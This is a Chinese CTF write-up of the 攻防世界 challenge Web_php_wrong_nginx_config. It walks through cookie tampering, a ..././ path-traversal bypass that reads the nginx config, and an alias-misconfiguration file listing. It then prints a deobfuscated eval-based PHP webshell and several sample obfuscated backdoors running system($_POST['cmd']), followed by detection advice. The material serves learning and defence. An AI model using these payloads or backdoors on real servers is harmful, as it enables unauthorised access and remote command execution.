8.攻防世界Web_php_wrong_nginx_config

进入题目页面如下

尝试弱口令密码登录

一直显示网站建设中,尝试无果,查看源码也没有什么特别漏洞存在

用Kali中的dirsearch扫描根目录试试

命令:

dirsearch -u http://61.147.171.105:53736/ -e*

登录文件便是刚才登录的界面打开robots.txt文件

有两个文件分别查看

hint.php文件提示配置文件有问题

虽给出提示但根目录也无法下手如何找到路径

Hack.php一直弹窗请登录!

尝试用burp suite抓Hack.php文件的包

发现cookie的值登录这里有异常,尝试改变值,改为1试试

出现页面

点击多个链接并抓包在管理中心这个链接中抓包修改cookie值为1再放行得到/admin/admin.php?file=index&ext=php文件

发送到重放器重点分析

看了一位大佬的博客才知道可能过滤了../,链接如下

攻防世界web Web_php_wrong_nginx_config - zhangzhijie98 - 博客园

构造payload

?file=i../ndex&ext=php

出现please continue

构造payload

?file=i./ndex&ext=php

没有出现please continue

判断是过滤了../

尝试用 ..././ 来绕过

构造payload

?file=..././..././..././..././/etc/nginx/sites-enabled/site.conf&ext=

得到配置信息

                       server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
            log_not_found off;
            deny all;
    }
    location /web-img {
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {  
         deny all;  
    }  

    include /var/www/nginx[.]conf;
}

 访问 /web-img/,这个地方可以进行文件遍历,直接点会跳转到登录页面

构造payload

/web-img../

在根目录下/var/www/下有hack.php.bak文件

构造payload

/web-img../var/www/

得到上述文件其中一个是hack.php的备份,下载下来

打开得到PHP代码,但怎么是乱码啊qyq

运行代码,输出$f,可以用下面这个在线运行工具

php在线运行,在线工具,在线编译IDE_w3cschool

得到结果

$kh="42f7";$kf="e9ac";
function x($t,$k) {$c=strlen($k);
$l=strlen($t);$o="";for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {$i}^$k {$j};}}return $o;}$r=$SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$SESSION;$ss="substr";$sl="strtolower";$i=$m1.$m1;
$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m2];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);}
if(array_key_exists($i,$s)) {
$s[$i].=$p;$e=strpos($s[$i],$f);
if($e) {$k=$kh.$kf;ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();
ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");@session_destroy();}}}}

这里看大佬编写了一个脚本最终得到flag

这里涉及一个PHP混淆后面分析的知识点

 PHP 混淆后门

PHP 混淆后门是一种经过特殊处理的恶意 PHP 代码,攻击者将其部署在目标服务器上,以实现对服务器的远程控制和非法访问。为了逃避安全检测工具(如防火墙、入侵检测系统等)的监测,攻击者会对原始的后门代码进行混淆处理。混淆手段包括但不限于变量和函数名替换、代码结构打乱、字符串加密等,使代码难以阅读和分析。

常见的 PHP 混淆后门形式及原理

1. 变量和函数名替换混淆
  • 原理:将正常的变量名和函数名替换为无意义的随机字符串,使代码的语义变得模糊。
  • 示例
// 原始后门代码
<?php
if ($_POST['pass'] == 'password') {
    system($_POST['cmd']);
}
?>

// 混淆后的代码
<?php
if ($_POST['a'] == 'b') {
    $c = 'system';
    $c($_POST['d']);
}
?>

在混淆后的代码中,变量名和字符串都被替换,使得安全检测工具难以通过关键字匹配发现后门。

2. 代码结构打乱混淆
  • 原理:改变代码的执行顺序,插入无用的代码块或分支,增加代码的复杂度。
  • 示例
<?php
$rand = rand(1, 10);
if ($rand % 2 == 0) {
    if ($_POST['pass'] == 'password') {
        system($_POST['cmd']);
    }
} else {
    // 无用代码块
    $x = 1 + 2;
    $y = $x * 3;
}
?>

这种混淆方式使代码逻辑变得混乱,增加了分析的难度。

3. 字符串加密混淆
  • 原理:对代码中的敏感字符串(如密码、命令执行函数名等)进行加密处理,在运行时再进行解密。
  • 示例
<?php
$key = 'secretkey';
$encrypted = 'aGVsbG8='; // 假设这是加密后的字符串
$decrypted = base64_decode($encrypted);
for ($i = 0; $i < strlen($decrypted); $i++) {
    $decrypted[$i] = $decrypted[$i] ^ $key[$i % strlen($key)];
}
if ($_POST['pass'] == $decrypted) {
    $func = 'system';
    $func($_POST['cmd']);
}
?>

在这个示例中,密码字符串被加密,只有在运行时解密后才能使用,增加了检测的难度。

检测和防范 PHP 混淆后门的方法

检测方法
  • 静态代码分析:使用代码扫描工具对服务器上的 PHP 文件进行全面扫描,检测代码中的异常模式和潜在的后门特征。一些开源的代码扫描工具如 PHPCS(PHP_CodeSniffer)可以帮助发现代码中的不规范和可疑之处
  • 动态行为监测:通过监测服务器的运行行为,如异常的文件操作、网络连接等,发现潜在的后门活动。入侵检测系统(IDS)和入侵防御系统(IPS)可以对服务器的网络流量和系统调用进行实时监测
  • 机器学习和深度学习方法:利用机器学习和深度学习算法对代码的特征进行学习和分析,识别出混淆后门。可以训练模型来区分正常代码和恶意代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/962734.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

算法基础学习——快排与归并(附带java模版)

快速排序和归并排序是两种速度较快的排序方式&#xff0c;是最应该掌握的两种排序算法&#xff0c; &#xff08;一&#xff09;快速排序&#xff08;不稳定的&#xff09; 基本思想&#xff1a;分治 平均时间复杂度&#xff1a;O(nlogn) / 最慢O(n^2) / 最快O(n) 步骤&…

51单片机开发——I2C通信接口

I2C是微电子通信控制领域广泛采用的一种总线标准。 起始和停止信号&#xff1a; void iic_start(void) {IIC_SDA1;//如果把该条语句放在SCL后面&#xff0c;第二次读写会出现问题delay_10us(1);IIC_SCL1;delay_10us(1);IIC_SDA0; //当SCL为高电平时&#xff0c;SDA由高变为低d…

力扣017_最小覆盖字串题解----C++

题目描述 我们可以用滑动窗口的思想解决这个问题。在滑动窗口类型的问题中都会有两个指针&#xff0c;一个用于「延伸」现有窗口的 r 指针&#xff0c;和一个用于「收缩」窗口的 l 指针。在任意时刻&#xff0c;只有一个指针运动&#xff0c;而另一个保持静止。我们在 s 上滑动…

【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】1.16 内存黑科技:缓冲区协议的底层突破

1.16 内存黑科技&#xff1a;缓冲区协议的底层突破 目录 #mermaid-svg-RmGabswVIrCh5olE {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-RmGabswVIrCh5olE .error-icon{fill:#552222;}#mermaid-svg-RmGabswVIrCh5o…

MySQL数据库(二)- SQL

目录 ​编辑 一 DDL (一 数据库操作 1 查询-数据库&#xff08;所有/当前&#xff09; 2 创建-数据库 3 删除-数据库 4 使用-数据库 (二 表操作 1 创建-表结构 2 查询-所有表结构名称 3 查询-表结构内容 4 查询-建表语句 5 添加-字段名数据类型 6 修改-字段数据类…

jstat命令详解

jstat 用于监视虚拟机运行时状态信息的命令&#xff0c;它可以显示出虚拟机进程中的类装载、内存、垃圾收集、JIT 编译等运行数据。 命令的使用格式如下。 jstat [option] LVMID [interval] [count]各个参数详解&#xff1a; option&#xff1a;操作参数LVMID&#xff1a;本…

亚博microros小车-原生ubuntu支持系列:18 Cartographer建图

Cartographer简介 Cartographer是Google开源的一个ROS系统支持的2D和3D SLAM&#xff08;simultaneous localization and mapping&#xff09;库。基于图优化&#xff08;多线程后端优化、cere构建的problem优化&#xff09;的方法建图算法。可以结合来自多个传感器&#xff0…

SpringBoot或SpringAI对接DeekSeek大模型

今日除夕夜&#xff0c;deepseek可是出尽了风头&#xff0c;但是我看网上还没有这方面的内容对接&#xff0c;官网也并没有&#xff0c;故而本次对接是为了完成这个空缺 我看很多的博客内容是流式请求虽然返回时正常的&#xff0c;但是他并不是实时返回&#xff0c;而是全部响应…

嵌入式C语言:什么是共用体?

在嵌入式C语言编程中&#xff0c;共用体&#xff08;Union&#xff09;是一种特殊的数据结构&#xff0c;它允许在相同的内存位置存储不同类型的数据。意味着共用体中的所有成员共享同一块内存区域&#xff0c;因此&#xff0c;在任何给定时间&#xff0c;共用体只能有效地存储…

Unet 改进:在encoder和decoder间加入TransformerBlock

目录 1. TransformerBlock 2. Unet 改进 3. 完整代码 Tips:融入模块后的网络经过测试,可以直接使用,设置好输入和输出的图片维度即可 1. TransformerBlock TransformerBlock是Transformer模型架构的基本组件,广泛应用于机器翻译、文本摘要和情感分析等自然语言处理任务…

音标-- 01--音标

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 国际音标1.元音音标单元音双元音常见单词 2.辅音音标清辅音&#xff0c;浊辅音清辅音&#xff08;不振动&#xff09;和 浊辅音&#xff08;振动&#xff09;是成对…

使用Pygame制作“打砖块”游戏

1. 前言 打砖块&#xff08;Breakout / Arkanoid&#xff09; 是一款经典街机游戏&#xff0c;玩家控制一个可左右移动的挡板&#xff0c;接住并反弹球&#xff0c;击碎屏幕上方的砖块。随着砖块被击碎&#xff0c;不仅能获得分数&#xff0c;还可以体验到不断加速或复杂的反弹…

【AI绘画】MidJourney关键词{Prompt}全面整理

AI绘画整理&#xff0c;MidJourney关键词。喜欢AI绘画的朋友必备&#xff0c;建议收藏&#xff0c;后面用到时供查阅使用。 1、光线与影子篇 中 英 闪耀的霓虹灯 shimmeringneon lights 黑暗中的影子 shadows in the dark 照亮城市的月光 moonlightilluminatingthe cit…

嵌入式系统|DMA和SPI

文章目录 DMA&#xff08;直接内存访问&#xff09;DMA底层原理1. 关键组件2. 工作机制3. DMA传输模式 SPI&#xff08;串行外设接口&#xff09;SPI的基本原理SPI连接示例 DMA与SPI的共同作用 DMA&#xff08;直接内存访问&#xff09; 类型&#xff1a;DMA是一种数据传输接口…

AVL树介绍

一、介绍 高度平衡的搜索二叉树&#xff0c;保证每个节点的左右子树高度差不超过1&#xff0c;降低搜索树的高度以提高搜索效率。 通过平衡因子和旋转来保证左右子树高度差不超过1 二、插入节点 1、插入规则 &#xff08;1&#xff09;搜按索树规则插入节点 &#xff08;…

win11 sourcetree安装问题

win11 sourcetree安装出现msys-2.0.dll 问题&#xff0c;需要从win10的以下路径复制出 msys-2.0.dll来加入到win11中 C:\Users\kz121468\AppData\Local\Atlassian\SourceTree\git_local\usr\bin\ 复制到 win11的 C:\Users\kz121468\AppData\Local\Atlassian\SourceTree\git_lo…

Contrastive Imitation Learning

机器人模仿学习中对比解码的一致性采样 摘要 本文中&#xff0c;我们在机器人应用的对比模仿学习中&#xff0c;利用一致性采样来挖掘演示质量中的样本间关系。通过在排序后的演示对比解码过程中&#xff0c;引入相邻样本间的一致性机制&#xff0c;我们旨在改进用于机器人学习…

Spring Web MVC基础第一篇

目录 1.什么是Spring Web MVC&#xff1f; 2.创建Spring Web MVC项目 3.注解使用 3.1RequestMapping&#xff08;路由映射&#xff09; 3.2一般参数传递 3.3RequestParam&#xff08;参数重命名&#xff09; 3.4RequestBody&#xff08;传递JSON数据&#xff09; 3.5Pa…

DeepSeek的使用技巧介绍

DeepSeek是一款由杭州深度求索人工智能技术有限公司开发的AI工具&#xff0c;结合了自然语言处理和深度学习技术&#xff0c;能够完成多种任务&#xff0c;如知识问答、数据分析、文案创作、代码开发等。以下将从使用技巧、核心功能及注意事项等方面详细介绍DeepSeek的使用方法…

创新创业计划书|建筑垃圾资源化回收

目录 第1部分 公司概况........................................................................ 1 第2部分 产品/服务...................................................................... 3 第3部分 研究与开发.................................................…